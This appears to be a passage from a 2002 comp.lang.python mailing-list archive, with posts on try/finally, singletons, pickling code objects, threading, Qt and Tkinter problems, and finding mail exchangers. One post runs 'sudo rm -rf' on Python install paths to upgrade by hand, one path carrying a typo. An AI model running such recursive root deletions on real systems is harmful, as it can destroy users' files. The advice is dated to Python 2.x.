or accounting '\r') Very easy to fix. Open the file in binary mode: f = open(myfile, 'rb') From aleax at aleax.it Mon May 6 10:56:25 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 06 May 2002 14:56:25 GMT Subject: Synchronization mixin in Python anyone? References: Message-ID: Gustavo Cordova wrote: ... >> try: >> args = self._args + args >> kw.update(self._kw) >> return = self._function(*args, **kw) >> finally: >> self._lock.release() >> > > But what about any exception that's raised? > > Does the finally: clause re-raise the exception so that > it can be caught upstream? The exception keeps propagating after the finally clause is done. finally does not interfere with exception propagation. Alex From deckerben at freenet.de Tue May 7 00:10:41 2002 From: deckerben at freenet.de (deckerben) Date: Tue, 7 May 2002 06:10:41 +0200 Subject: Looking for a scripting language References: <3cd49f78$0$355$9b622d9e@news.freenet.de> <3cd51348$0$151$9b622d9e@news.freenet.de> <3CD526E8.EA6CDBBF@engcorp.com> <3cd52c11$0$25705$9b622d9e@news.freenet.de> <3CD717CA.4E204E31@engcorp.com> Message-ID: <3cd74fb8$0$341$9b622d9e@news.freenet.de> > > D:\D\SCRIPTS\PROGRAM\Python\PyXML-0.7.1>python setup.py build > > Traceback (most recent call last): > > File "D:\USER\DJGPP\lib\python2.0\distutils\util.py", line 135, in > > check_envir on > > os.environ['PLAT'] = get_platform() > > File "D:\USER\DJGPP\lib\python2.0\distutils\util.py", line 43, in > > get_platform > > > > (osname, host, release, version, machine) = os.uname() > > TypeError: unpack non-sequence Since then I have re-compiled/re-installed and the quality of the install is much better. I must make the following small changes afterward, but then the setup.py scripts themselves all seem to work: ======================Begin Modification Proceedure========================= The library files need to installed under lib\Python2.2. 'lib' itself could be anywhere, but will most likely be in your DJGPP directory ;-) Assuming that %PYTHONPATH% is set only to the sub-directory where the standrad library files have been installed, type 'edit %PYTHONPATH%\distutils\sysconfig.py'. You may need to change lines #23 & #24 to match the location where the 'lib' directory is found (i.e. the DJGPP directory). Use UNIX slash convention with single-quote: (i.e. PREFIX = 'D:/USER/DJGPP'). Also: Make sure the following files have been copied directly to the %PYTHONPATH%\config dir: [source]\install-sh [source]\libpython2.2.a [source]\Makefile [source]\Makefile.pre.in [source]\Modules\Setup [source]\Modules\Setup.config [source]\Modules\Setup.local [source]\Modules\config.c [source]\Modules\config.c.in ====================================================================== Then it works. That's all there is. If this seems in order, the DOS distribution should be ready next week. Ben From 1 at 2.com Tue May 28 04:08:20 2002 From: 1 at 2.com (John Smith) Date: Tue, 28 May 2002 10:08:20 +0200 Subject: Dialogic voice files. Help Message-ID: Got som Dialogic voice files (ADPCM ALAW) which i want to play through python. Can anyone help. From robin at jessikat.fsnet.co.uk Wed May 8 03:58:02 2002 From: robin at jessikat.fsnet.co.uk (Robin Becker) Date: Wed, 8 May 2002 08:58:02 +0100 Subject: sgmllib too slow References: <_FHB8.41355$YQ1.17953481@typhoon.southeast.rr.com> <8h3C8.14403$zW3.346467@news1.tin.it> Message-ID: <$ZJ+BWAKqN28EwuJ@jessikat.fsnet.co.uk> In article <8h3C8.14403$zW3.346467 at news1.tin.it>, Alex Martelli writes >Martin v. Loewis wrote: > >> "Stuart D. Gathman" writes: >> >>> What is the recommended way to make distutils override a standard >>> python package with a drop-in replacement such this? >> >> The recommended way is not to attempt overriding standard Python >> packages. Name them differently, instead. I assume the problem stems from lib (or lib/pythonxx.x) being in sys.path before lib/site-packages. That order seems a bit barmy given that site-packages is supposed to specialize the installation. Of course given the huge care taken over every aspect of Python's development I suppose there was no small care taken in getting it that way. -- Robin Becker From jo at johnochiltree.uklinux.net Mon May 6 03:58:04 2002 From: jo at johnochiltree.uklinux.net (JohnO) Date: Mon, 06 May 2002 07:58:04 +0000 Subject: singleton in python ? References: <1020669846.963494@newsmaster-04.atnet.at> Message-ID: fritz steindl (-:fs) wrote: > hi, > > what is the best way to implement a singleton in python ??? > > ( class that allows only _one_ instantiation - like java singletons) > > i miss static variables and functions in python (or i don't see them :-) > > > > fritz > (-:fs) Hi, An excellent discussion (at least I found it so :) of patterns in python can be found in Thomas Christopher's book, "Python Programming Patterns" (see: http://ppp.toolsofcomputing.com ) Also there's a "borg" type of singleton on Active State's Python Cookbook ( http://aspn.activestate.com/ASPN/Cookbook/ ) John Ochiltree From pyth at devel.trillke.net Thu May 9 18:36:37 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 10 May 2002 00:36:37 +0200 Subject: no pickling code objects? In-Reply-To: References: <4vhjdugv3kfd0m4359lkqctmn25ia44cae@4ax.com> Message-ID: <20020509223637.GF27672@devel.trillke> Steve Holden wrote: > "Gon?alo Rodrigues" wrote ... > > Hi, > > > > On the docs on the pickle module it says that code objects can not be > > pickled, this in turn implies some limitations on the pickleability > > (man, I like this word!) of some objects. The docs mention security > > reasons for this choice. But somehow this doesn't feel right. Shouldn't > > the secuity concerns be left to the programmers? After all Python > > already has exec*. Is there something I am missing? > > > > I am asking this mainly from curiosity, I am in no need of such a > > feature. And then again, If I had the time and the knowedge + skill to > > come up with a patch... > > > > One issue which nobody yet seems to have addressed is that code objects > change from version to version. So even if you could work out where the > dependency chain ended, the data (pickled code) would be useless in the next > major version. I think it would be *a feature* that you unpickle objects together with their code. Because the unpickled code is likely to be able to access it's state in a well-behaved manner. Upgrading versions is a quite fundamental problem in *any* software system. But i think it is easier to - initialize your new code by iterating over specific 'old' unpickled objects - asking some of these objects to deliver relevant state and - transfering/transforming to the state of the new code. Note that without pickled code you need to always know exactly *the data structure* of the older version and it is difficult to get the 'unpickle.load' right. longing-for-code-pickely y'rs holger From Christopher.Saunter at durham.ac.uk Mon May 20 07:08:24 2002 From: Christopher.Saunter at durham.ac.uk (Christopher Saunter) Date: Mon, 20 May 2002 11:08:24 +0000 (UTC) Subject: multithreading References: <3ce7e613$0$3732@echo-01.iinet.net.au> <87sn4n6gz9.fsf@kursk.kassube.de> Message-ID: Nils Kassube (nika at kassube.de) wrote: : "Rob Hall" writes: : > Can anyone point me to a useful tutorial on multithreading? : One advice: Avoid multithreading like the plague. : Multithreading is a very big stability risk if you don't know exactly : what you are doing, i.e. most programmers most of the time. I have found multithreaded programing under Python to be rock solid, if a few simple rules are followed. Well, three infact. 1. Prefereably pass information to threads when they are created, not at run time. 2. All run time comms between threads is via a dictionary, with two functions that use semaphore protection to set/read variables to / from the dictionary. Maybe not so good where you need a lot of comms between threads? 3. Using wxPython, wxMutexGuiEnter() and wxMutexGuiLeave() are sufficient and necessary for gui work from non main threads. I imagine most GUI libraries have a similar concept. Following these three rules, I have a program that can hapilly run 5 threads, all accessing the GUI, and with the addition of a few carefully placed time.sleep(x) calls remains highly responsive. --- cds From aleax at aleax.it Thu May 9 02:25:34 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 09 May 2002 06:25:34 GMT Subject: sys.argv and while loop References: <3CD9376E.BEF43213@jpl.nasa.gov> <3CD955A1.43AE9120@jpl.nasa.gov> Message-ID: Julia Bell wrote: ... > If I use string.atoi(variable) or string.atof(variable), but variable > cannot > be converted to an integer or float, I get an error. I'm just learning > about catching exceptions, so I think I could figure out how to catch the > error and > do something appropriate if that's the recommended approach. But, is > there a better way (perform the test before trying to do the conversion)? Not really. Given that the amount of work for parsing a float, or parsing and integer and ensuring it's within sys.maxint, dominates; why would you want to do it TWICE, once just to get a yes/no answer to the "is it OK" question, then AGAIN if OK to get the real value? This reminds me of the polite way one is supposed to use (in Italian) to ask a stranger about something. "May I ask you {what time it is / the way to the station}?" or "Do you know {what time it is / the way to the station}?". Taking this literally one could answer "yes" and leave it at that. Yes, I do know the way to the station. That's what I was asked -- whether I know it. If the enquirer wants me to tell what that way is, he or she would presumably then have to ask again with a more direct wording. Can you imagine the exchange...? "Sir, do you know the way to the station?" "Yes I do" "Well, may I ask you the way to the station?" "Yes you may" "So, would you mind telling me the way to the station?" "No, I wouldn't". Some enquirers would be edgy at this point... Is THIS the kind of dialogue you want your program to have with the Python library? Why? Wouldn't it be better to ask directly about the way to the station, knowing the answer will be "sorry I don't know it" (or whatever) if need be? Alex From jochen at jochen-kuepper.de Wed May 1 02:12:04 2002 From: jochen at jochen-kuepper.de (Jochen =?iso-8859-1?q?K=FCpper?=) Date: 01 May 2002 02:12:04 -0400 Subject: Newbie: Working with large database -- help! References: Message-ID: On Tue, 30 Apr 2002 21:37:18 -0400 Owen Marshall wrote: Owen> data|data|data|data Owen> and so on as needed. My question: how do I extract each part of Owen> data from between the " | " (none of the data has fixed Owen> lengths), and put it in a list where I can do some work with it? list = file.read().split('|') Greetings, Jochen -- Einigkeit und Recht und Freiheit http://www.Jochen-Kuepper.de Libert?, ?galit?, Fraternit? GnuPG key: 44BCCD8E Sex, drugs and rock-n-roll From pyth at devel.trillke.net Thu May 9 18:11:54 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 10 May 2002 00:11:54 +0200 Subject: Um... extensible parsing? In-Reply-To: References: Message-ID: <20020509221154.GD27672@devel.trillke> Philip Swartzleonard wrote: > > I am interested in making a program in python that helps people edit the > gameworld definition files used in the Angband and it's many and various > varients. They are a fairly simple text file format, and each record > follow a mostly set pattern. For exapmle, here's the format for one of > the files from ToME: ask any questions you need to about the following code which should help you get started. # paste this to your interpreter and # have a /tmp/datafile ready specs=[] for line in open('/tmp/datafile').readlines(): if not line or line.startswith('N'): specs.append({}) name,rest=line[:1],line[2:] if name: sep = '|' in rest and '|' or ':' vals=map(lambda x: x.strip(), rest.split(sep)) specs[-1].setdefault(name, []).extend(vals) # then enter e.g. >>> specs[0] {'B': ['CLAW', 'HURT', '1d2', 'CLAW', 'HURT', '1d2', 'BITE', 'HURT', '1d3'], 'D': ["A woman's face on the body of a vicious black bird."], 'E': ['0', '1', '1', '0', '1', '0'], 'F': ['FEMALE', 'CAN_FLY', 'WILD_TOO', 'WILD_MOUNTAIN', 'DROP_CORPSE', '', 'RAND_25', 'ANIMAL', 'EVIL', 'MORTAL', 'BASEANGBAND'], 'G': ['H', 'D'], 'I': ['120', '3d8', '16', '22', '10'], 'N': ['157', 'Black harpy'], 'O': ['0', '0', '0', '0'], 'W': ['9', '1', '600', '19']} >>> > Anyway, I want to make a generic editor program that reads some datafile > to determine the structure of the 'info' file it needs to edit, and > constructs it's interface from there. I'd assume i'd have some kind of > list interface to deal with the records (using the N line information > that all of thie files that I want to edit use), and that I'd have > customized controls for editing the different types of data (e.g. > flag_checkboxes, string_field, dice_field, number_field). What i -don't- > have a clue how to do is the part that puts the pieces together > depending on the situation, and the parts that actually parse the > various files. What i'm asking for is any pointers or insight that could > help me solve this problem more efficently. Thank you. - get used to working flexibly with dictionaries - use a class basically like this: class niceaccessor: def __init__(self,specdict): for attr,value in interpret(specdict): setattr(attr,value) so that you can do print niceaccessor.name if ANIMAL in niceaccessor.flags: do this or that ... - use such a class to make up some frontend - write a routine which takes any existing key/value of an niceaccessor-instance and writes out a record. - think about whether a string that can be converted to a number should always be converted or whether you have to actually specify this. hope that helps, holger From stephen at xemacs.org Sat May 11 14:41:44 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 12 May 2002 03:41:44 +0900 Subject: idle and the devil References: Message-ID: <87n0v6cys7.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "Siegfried" == Siegfried Gonzi writes: Siegfried> Maybe it has to do with XP itself, because this often Siegfried> appeared in Emacs too and this was the reason to delete Seems unlikely to be the fault of Emacs or Idle, to me. Two very different editors causing the same kind of corruption? Unlikely (not to mention that I've never seen a report of corruption of that sort from Emacs). Siegfried> Emacs from my hard disc; the Python case is harder Siegfried> because I need Python for my daily work. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN My nostalgia for Icon makes me forget about any of the bad things. I don't have much nostalgia for Perl, so its faults I remember. Scott Gilbert c.l.py From pyth at devel.trillke.net Tue May 14 05:40:23 2002 From: pyth at devel.trillke.net (holger krekel) Date: Tue, 14 May 2002 11:40:23 +0200 Subject: currying at language level (was: Re: add_command) In-Reply-To: <02051320514400.11877@arthur>; from aleax@aleax.it on Mon, May 13, 2002 at 08:51:44PM +0200 References: <20020513193132.D28033@prim.han.de> <02051320514400.11877@arthur> Message-ID: <20020514114023.H28033@prim.han.de> Alex Martelli wrote: > On Monday 13 May 2002 19:31, holger krekel wrote: > > Alex Martelli wrote: > > > I'd love to have built-in currying, but the syntax > > > sugar you propose is clearly too limited (e.g., how > > > does it apply to keyword-arguments?) > > > > does it need to? IOW what problems do you expect? > > I expect a language that doesn't treat named arguments > as 'first class' (==just as important as positional ones) in > SOME but not ALL cases. Isn't that absolutely obvious?! This doesn't make it obvious to me. I guess you mean that curring with named arguments should work as well?! Then i would probably say that 'arg1=***' could be allowed also... please note that i started this discussion with: "alex, what do you think about ...", NOT with "hey all, I have a PEP language change proposal". And that was precisely because i thought i might be on the path to all evil and that it would be easy for you to point it out. > The 'orthogonality' of Python is #1 key to its power AND > simplicity. You need mighty powerful arguments indeed > for BREAKING orthogonal, uniform behavior, as should > be self-evident. i didn't intend to break orthogonality as might be evident. if you simply show the non-orthogonality that would be enough. But as Paul Foley already pointed out, today's lambdas in combination with lexical scoping offer a good way for most 'prebinding' wishes, so further discussion does not seem to make much sense. Additionally, i should not have talked so much about currying as 'prebinding' was what i actually meant. thanks for your answers, holger From starx at pacbell.net Tue May 14 21:26:15 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 15 May 2002 01:26:15 GMT Subject: how to upgrade correctly to 2.2.1??? References: Message-ID: Markus Jais || Tue 14 May 2002 12:43:36p: > hello > > I have 2.2 installed and now I want to install 2.2.1 > > make uninstall in the 2.2 dicrectory does not work > so I typed > sudo rm -rf /usr/local/bin/pydoc > sudo rm -rf /usr/local/binpython* > sudo rm -rf /usr/local/lib/python2.2/ > > does this remove all the python 2.2 stuff?? Er, I haven't done this in linux yet, but in windows you can just happily install 2.2.1 directly over 2.2 and everything works fine. It's been my experience that *nix handles this kind of upgrading far better than here, so... you shoudln't i think need to RM anything... -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From alanmk at hotmail.com Tue May 14 10:21:47 2002 From: alanmk at hotmail.com (Alan Kennedy) Date: 14 May 2002 07:21:47 -0700 Subject: High performance Python web-app References: <3CDE9D7B.7050408@xs4all_removethisalso.nl> Message-ID: "Fran?is Lepoutrre" wrote in message > And so far the situation on Windows is far from brilliant: > > 1) it looks like fastcgi is not workable there. > 2) mod_python/apache 1.3 on win32 looks like the > best solution but it is comparably much slower to > its linux counterpart and a bit leaky. Don't forget about jython. Apache [12].x + + Jython is a great combination. There are several open source servlet containers, including Tomcat and JBoss. There is reasonably detailed documentation on embedding Tomcat in IIS, Apache, iPlanet, etc. It's also well supported on Windows AND *nix. If you're python stuff is pure python (<= 2.1), then Jython/J2EE could be just what you're looking for. Alan Kennedy. From mwh at python.net Thu May 30 10:22:47 2002 From: mwh at python.net (Michael Hudson) Date: Thu, 30 May 2002 14:22:47 GMT Subject: !!! 2.1, 2.2, 2.2.1, PYTHON BUGS ???? References: Message-ID: "Franck Abella" writes: > Hi, > > Math problem: [...] > I would like to know if yo have those problems > Thanks Read this: http://www.python.org/doc/2.2.1/tut/node14.html (the fact that I can type this URL from memory should be some indication that you could have answered your query yourself with a little effort). Cheers, M. -- Python enjoys making tradeoffs that drive *someone* crazy . -- Tim Peters, comp.lang.python From dalke at dalkescientific.com Thu May 23 11:28:25 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Thu, 23 May 2002 09:28:25 -0600 Subject: Erasing items from a canvas References: Message-ID: Garry Taylor: > I am having a little difficulty removing items from a canvas in >QT/Python, I do a Items = canvas.allItems() and then do a for loop >which does del(item) on each item, I can then do canvas.allItems() >again, and get the same number of items del(item) isn't the right way to do it. 'del' says to remove the variable definition 'item' from the currently assigned names. It doesn't say to remove the object to which the name refers. Consider the following >>> a = {"city": "Santa Fe"} >>> b = a >>> b["state"] = "New Mexico" >>> a {'state': 'New Mexico', 'city': 'Santa Fe'} >>> del b >>> a {'state': 'New Mexico', 'city': 'Santa Fe'} >>> b Traceback (innermost last): File "", line 1, in ? NameError: b >>> This says that first the variable "a" refers to a dictionary containing the key "city". Then that variable "b" refers to the same object that "a" refers to, so that both "a" and "b" refer to the same thing. This is very much like how pointers work in C. They refer to the same object, which is why modifing "b" to have a "state" also modifies "a". But "del b" (notice that it's a statement so it doesn't need the parenthesis) doesn't delete the object, since after all "a" still refers to it. The object only gets deleted when there are no more references to it. The only thing "del b" does is remove the name "b" from the list of assigned variables. So if you try to ask for it again, you get the NameError exception. To remove an object from the Qt canvas, in C, you do need to call "delete item", but Python doesn't support that directly. Python will delete the object when there are no more references to the object. This is made tricky by there being two different types of references in Qt. One is a "strong" reference, where Qt keeps track of Qt objects and deletes an object when the object's parent no longer needs it. (Or 'removeChild' is called.) The other is a "weak" reference where the reference held by Qt is not counted as a reference or the purpose of Python's garbage collection. (Python has its own concept of weak references. These two concepts are similar but are not based on the same code, I believe.) Items in a canvas are a weak reference, in that you need to keep explicit references in Python to canvas items. Once all the Python references are removed, PyQt calls "delete" on the object, which then removes it from the canvas. That means that 'allItems' cannot be used for deletions, as you supposed. Instead, you need to have some way to get ahold of all the original Python object references and remove them. In my case, my canvas has an attribute called "items" which contains all of the items in the canvas. I can remove all the items by clearing that list. But I'm also a tyro at Qt and can be wrong about this, so it's best that you experiment and verify. Andrew dalke at dalkescientific.com From chris at localhost.localdomain Mon May 27 02:18:54 2002 From: chris at localhost.localdomain (Chris) Date: 26 May 2002 23:18:54 -0700 Subject: Tkinter image problems Message-ID: Hi, I posted a few days ago about problems getting images to work in Tkinter The Tkinter test routine runs fine, but when I try to load in images it won't work Here's how i'm loading a TIFF: from Tkinter import * class GF_control: def __init__(self): # Initialize TK self.root = Tk() self.root.config(height=300, width=400) # Load image p = PhotoImage() p.config(file='bla.tif') # Make label splash = Label(self.root) splash.pack() self.root.mainloop() if 1: f = GF_control() And here's the error I get: Traceback (most recent call last): File "", line 18, in ? File "", line 11, in __init__ File "/usr/lib/python2.1/lib-tk/Tkinter.py", line 2951, in configure self.tk.call((self.name, 'config') + res) TclError: couldn't recognize data in image file "bla.tif" Here's the error for the same, using a PNG instead: Traceback (most recent call last): File "", line 18, in ? File "", line 11, in __init__ File "/usr/lib/python2.1/lib-tk/Tkinter.py", line 2951, in configure self.tk.call((self.name, 'config') + res) TclError: couldn't recognize data in image file "bla.png" And the error for a JPG: Traceback (most recent call last): File "", line 18, in ? File "", line 11, in __init__ File "/usr/lib/python2.1/lib-tk/Tkinter.py", line 2951, in configure self.tk.call((self.name, 'config') + res) TclError: couldn't recognize data in image file "bla.jpg" All of the images load fine in GIMP From sjmachin at lexicon.net Fri May 24 05:42:42 2002 From: sjmachin at lexicon.net (John Machin) Date: 24 May 2002 02:42:42 -0700 Subject: Where does IDLE expect to find imported files? References: Message-ID: "CarolineBlue" wrote in message news:... > BlankCan't get import to work - need to know correct directory to put > .py files in for processing > > I have just installed Python 2.2.1 under Windows 98SE (from a Computer > Shopper CD). I am working my way through the Tutorial, but cannot > import files for processing by IDLE. Where does IDLE expect to find > the named file (eg. prog.py), so that "import prog.py" will work? "import prog.py" won't work. You need merely "import prog". You are importing a module, not a file. The prog module may be found in a file called prog.py or prog.pyc or prog.pyd or prog.pyo or prog.whatever ... *Then* follow whatever advice you get about the Python path. From rdsteph at earthlink.net Tue May 14 20:23:54 2002 From: rdsteph at earthlink.net (Ron Stephens) Date: Wed, 15 May 2002 00:23:54 GMT Subject: Zarsus References: <4a7fde99.0205132325.c92ba80@posting.google.com> <3CE0EEFB.6070501@earthlink.net> <3CE0FC05.319EC3D3@engcorp.com> Message-ID: <3CE1725E.2010000@earthlink.net> Dang, I shoulda typed it on my Zarsus' thumb-board... I'm more accurate that way ;-)))) From aahz at pythoncraft.com Thu May 23 17:17:03 2002 From: aahz at pythoncraft.com (Aahz) Date: 23 May 2002 17:17:03 -0400 Subject: Threading unfairness References: <20020518135440.2621.h004.c000.wm@mail.kimball.net.criticalpath.net> Message-ID: In article , Cliff Wells wrote: > >I wonder if sys.setcheckinterval() would help. I've seen it in the >docs but haven't tested it myself. You really don't want to muck with that. You also don't get much utility out of it. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From lenssen at hitnet.rwth-aachen.de Sun May 5 16:21:10 2002 From: lenssen at hitnet.rwth-aachen.de (Philipp Lenssen) Date: Sun, 5 May 2002 22:21:10 +0200 Subject: Choose Your Own Adventure References: Message-ID: "Artur Skura" wrote in message news:slrnadb4rf.rp5.arturs at aph.waw.pdi.net... >.. > What about licensing issues? Are people allowed to change other peoples' > games, redistribute them, port to other engines? >.. Well, I don't want to tell people using QML to create quests how to license them. All I say in the copyright* is don't sell QML itself, but if you want to, sell games made in QML and include QML in the distribution. (Another alternative is to run the files from the server, in that case the quest-data cannot be accessed from the outside -- you can just see the individual outcome of certain actions you chose in the quest.) As for QML itself -- the cross-platform language, the Windows editor (another way to do it is a simple text-editor), the Python, PHP and VBScript ports -- those are all free and open source. *For copyright see http://questml.com/copyright.htm , and the FAQ at http://questml.com/faq.htm From spam at nomail.net Wed May 15 13:40:23 2002 From: spam at nomail.net (obantec support) Date: Wed, 15 May 2002 18:40:23 +0100 Subject: Best book for python? References: Message-ID: "Jeremy Yallop" wrote in message news:abu0hf$l3qin$2 at ID-114079.news.dfncis.de... > * obantec support > | I need to get up to speed on python so am looking for a book. > | Quite a few at amazon to choose from. > | Any recommendations? > > Have you looked at > > http://www.python.org/doc/ > > ? > > Jeremy. Yes but i hate web based doco's, much prefer to thumb thru a book. Mark From jeremy at jdyallop.freeserve.co.uk Wed May 15 11:55:54 2002 From: jeremy at jdyallop.freeserve.co.uk (Jeremy Yallop) Date: 15 May 2002 15:55:54 GMT Subject: beginner question: extending python types References: Message-ID: * Uwe Mayer | I found Python lacking the type of a "set". i.e. an unordered list. Use a dictionary, with the same value (1) for every key. Jeremy. From siegfried.gonzi at kfunigraz.ac.at Sun May 5 08:48:24 2002 From: siegfried.gonzi at kfunigraz.ac.at (Siegfried Gonzi) Date: Sun, 05 May 2002 14:48:24 +0200 Subject: F2PY problems References: Message-ID: <3CD52A18.DB86DAB0@kfunigraz.ac.at> Pearu Peterson wrote: > That said, I looked at the scipy CVS and found that mingw32-support > needs lib2def but that is part of the weave package. So, as a quick fix, > get lib2def.py file from the scipy/weave directory and put it into > the f2py2e/scipy_distutils directory and reinstall f2py. This should solve > your problem, I hope. So, this actually works but *only* then when you use something like: f2py -c foo.f -m foo Everything else (setup_foo.py, Makefile) is doomed to fail! The above leads to the next question: I have not really grasped whether the foomodule.c file is important, because what the case if I want to compile a Fortran 95 file? I tried it but I get the error message that gnu does not support F 90 or F95. I saw in the "build_flib.py" file that the NAG compiler is supported. I thought the NAG compiler is the Fortran 95 compiler from imagine1 (www.fortran.com/fortran/imagine1/compilers.html). But I think I am in error, because the build_flib.py class doe not find my installed F compiler (C:/.../F/bin/f.exe). I would strongly emphasize my wish list that some expert makes also a support for the F compiler. The F compiler is free for Unix, Linux and Windows (I think there is even an older F 90 compiler for the Macintosh available). I am not aware of other ones but the F compiler is the only free available Fortran 95 compiler. Okay it has one drawback: it is not backward compatible; you are forced to use *only* F90 or F95 constructs (e.g.: "integer :: a", instead of "integer a"); but it is possible (easily) to link to g77 compileable Fortran files and even to gcc compileable ones. Regards, S. Gonzi From whisper at oz.net Thu May 9 06:30:14 2002 From: whisper at oz.net (David LeBlanc) Date: Thu, 9 May 2002 03:30:14 -0700 Subject: Multibyte Character Surport for Python In-Reply-To: Message-ID: Bravo! - oops, that's Italian. Bon! - errr... French. Hurrah! - hmmm... British. Yippie! - aaah... 'merican :-) Most humbly agree. Python should be unicode imo and using ASCII or code page variants thereof should be the special case. It's time that character code sets with language biases went away. If PythonWin isn't fully unicode, then it should be (and it must already be at least partly unicode since that's what COM and "real" MS Windows OS variants are natively already). Ditto for other apps. Yes, by all means, use english to describe programs; the built-in syntax, variable names and program documentation, but enable and encourage the use of national languages to communicate between the program and the user. While knowing a second language (english) is a reasonable prerequisite for a professional developer, "computer literate" shouldn't also mean "also knows english". (OTOH, I think all english speakers should learn and become _fluent_ in a second language, if only for the mental flexability it engenders. Most 2nd language education in American schools below college/university is a joke imo. Ma francais est terrible, en part parsque je ne l'utilizer pas!) Sorry if this sounds contradictory - it's not meant to be at all. Regards, David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Alex Martelli > Sent: Thursday, May 09, 2002 2:40 > Whatever I can do (which is not much at all) against anything > furthering the _fragmentation_ (as opposed to, cultural diversity > within helpful and peaceful cooperation, which is *great*!) of > humanity, I will. I am convinced that encouraging the use of > a zillion different nautral languages in programs is a terrible idea > and I earnestly hope Python does nothing at all to _help_ it. > > > Alex > From -$P-W$- at verence.demon.co.uk Tue May 14 06:11:03 2002 From: -$P-W$- at verence.demon.co.uk (Paul Wright) Date: 14 May 2002 11:11:03 +0100 Subject: Finding mail exchangers References: <0eSD8.57422$7R.66720@NewsReader> Message-ID: In article <0eSD8.57422$7R.66720 at NewsReader>, ian wrote: >hi ive almost finished my mail server for a >programming assignment im doing > >what i need to do now is write some code >to find the mail exchanger for a given domain > >for example if i send mail to iwaters at btclick.com >it gets sent to pop3.btclick.com No, it gets sent to one of btclick.com MX 10 smtp.btclick.com btclick.com MX 5 mail.btclick.com (this is the output of "host -t MX btclick.com" on Linux. The "dig" command would give something similar). >how can i get a list of all exchangers for domains? Do an MX lookup using PyDNS: http://pydns.sourceforge.net/ Note that not all domains will have an MX record, so you'd need to check for A records if you don't find a mail exchanger. The right thing for a client program to do is send the mail on to a 'smarthost' which will do the lookups for you and handle queuing and retries and suchlike. But I'm assuming that, as your assignment is to write a server, this isn't an option for you. -- Paul Wright | http://pobox.com/~pw201 | From mhammond at skippinet.com.au Mon May 6 21:24:28 2002 From: mhammond at skippinet.com.au (Mark Hammond) Date: Tue, 07 May 2002 01:24:28 GMT Subject: Creating C modules for Python under Cygwin References: <3CD41CC4.5752F30C@wag.caltech.edu> Message-ID: <3CD72CF8.5010803@skippinet.com.au> Martin v. L?wis wrote: > Alex Martelli writes: > > >>That has nothing to do with the DLL - vs - EXE choice, as far as I can >>see, and everything to do with the choice of NAME for the executable >>module you package Python's functionality into. If you named the EXE >>PYTHON22.EXE and so on, you'd be "forcing extensions module" just as >>much; vice versa, if you named the DLL PYTHON.DLL you would not be >>forcing those modules to commit. It's not about the extension:-), >>it's about the filename. > > > Right. However, I believe that the DLL name contains the Python > version so that multiple simultaneous Python installations are > possible, especially when the Python DLL is put into the system > directory. Exactly. And the DLL is in the system directory so arbitary processes can use Python (ie, COM). So it is simply a trade-off with pros and cons. In some ways you could see it as the competing interests of "Python extenders" versus "Python programmers". For the casual Python programmer, allowing multiple Python versions, and indeed allowing arbitary COM objects to use arbitary Python versions is a good thing. For the Python extender, having one extension module that works everywhere would be a dream. Now if all those lazy, good for nothing extension authors would just get off their fat arses and release versions for every Python version in use the instant they are released, there would not be a problem Mark. From ak at silmarill.org Fri May 24 23:05:32 2002 From: ak at silmarill.org (Andrei Kulakov) Date: Sat, 25 May 2002 03:05:32 GMT Subject: Python User Group in New York City. References: Message-ID: In article , Xavier Monsegur wrote: > > Greetings, > > My name is Xavier, and I am interested in putting together the > official NYCPUG with some fellow New York City Python hackers. > > www.nycpug.org, is up and running thus far. The site, will be > fully functional soon enough. I am very interested in hearing > from NYC Python hackers. Contact me asap. > > Thanks guys. > > P.S: Aahz rocks :P Great! I'm very close to NYC (Brooklyn). Please sign me up for the mailing list, when/if you get one running. -- Cymbaline: intelligent learning mp3 player - python, linux, console. get it at: cy.silmarill.org From phd at phd.pp.ru Thu May 23 04:34:56 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Thu, 23 May 2002 12:34:56 +0400 Subject: file and filename in cgi module? (newbie problem with Documentation) In-Reply-To: ; from google@blinker.net on Wed, May 22, 2002 at 04:54:25PM -0700 References: Message-ID: <20020523123456.B23951@phd.pp.ru> On Wed, May 22, 2002 at 04:54:25PM -0700, Bjoern wrote: > fileitem = form["userfile"] > if fileitem.file: > ..." > > I wonder where does this .file thingy come from? I can't find anything > about it in the documentation that comes with Python, and the same > goes for filename. Is it specific to the cgi module? Are they > attributes that all return values of FieldStorage-Entries have? But > then why isn't there a descritpion of the FieldStorage class? By > chance I found that .filename will give me the name of an uploaded > file - where would have been the official place to read about it? The only reliable source of information is the source code. Documentation (whether it is Python or not Python) never is as accurate and complete as source code. In this aspect Python has two major advantages: 1. It is free software - you get all the source code with all your rights to read, understand, use, etc. 2. Python is very readable language. Read the cgi.py file and enjoy! Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From huaiyu at gauss.almadan.ibm.com Wed May 1 15:18:48 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Wed, 1 May 2002 19:18:48 +0000 (UTC) Subject: Newbie: finding the key/index of the min/max element References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> Message-ID: [Laura Creighton] >> That is simple ignorant American narrow-minded foolishness talking. >> Normally, I would take extreme great care to not say anything so >> offensive, but I have a deep suspcion that James J Besemer is one >> of the 'can't take the heat' folks, and will learn to like a kinder >> and gentler place than the one he proposes to make for Raymond Hettinger >> if he finds out what it is like to live in the place he proposed. [James J. Besemer] >I'm truly sorry that my sincere attempt to answer what I thought was a simple >question caused you to resort to open hostility. I am truly impressed by your >vicisousness. [James J. Besemer, earlier] > > I don't interpret this strongly worded and slightly sarcastic critique to > > be hostile. [Fran?ois Pinard] > For me, sarcasm and strong wording are not 